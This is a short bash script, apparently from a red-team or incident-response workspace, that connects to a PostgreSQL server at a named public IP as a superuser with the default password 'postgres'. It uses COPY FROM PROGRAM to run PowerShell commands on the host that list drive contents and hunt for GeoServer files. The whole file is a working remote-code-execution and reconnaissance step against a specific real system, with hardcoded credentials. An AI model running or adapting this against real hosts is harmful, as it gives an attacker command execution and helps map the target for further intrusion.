#!/bin/bash
# L6 PowerShell recon on 14.225.11.57 via PG superuser COPY FROM PROGRAM
# Read-only. Uses powershell Get-ChildItem (dir fails via COPY PROGRAM).
set -u
OUT="/root/ir-assessment/redteam/gitlab_vdss_com_vn/L6_ps_recon_raw.txt"
PSQL="host=14.225.11.57 port=5432 user=superuser_user dbname=postgres connect_timeout=10"
export PGPASSWORD='postgres'

{
  echo "===L6 PS RECON 14.225.11.57 $(date -u) ==="
  psql "$PSQL" -v ON_ERROR_STOP=1 -At <<'SQL'
DROP TABLE IF EXISTS pg_temp.p;
CREATE TEMP TABLE p(line text);
COPY p FROM PROGRAM $cmd$powershell -NoProfile -Command "Write-Output '===C_ROOT==='; Get-ChildItem C:\ -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Name; Write-Output '===E_ROOT==='; Get-ChildItem E:\ -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Name; Write-Output '===D_ROOT==='; Get-ChildItem D:\ -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Name; Write-Output '===FIND_GEOSERVER==='; Get-ChildItem C:\,E:\ -Recurse -Depth 3 -Filter '*geoserver*' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName; Write-Output '===DONE==='$cmd$;
SELECT line FROM p;
SQL
  echo "===PSQL_EXIT=$?==="
} > "$OUT" 2>&1

echo "--- output file: $OUT ---"
wc -l "$OUT"
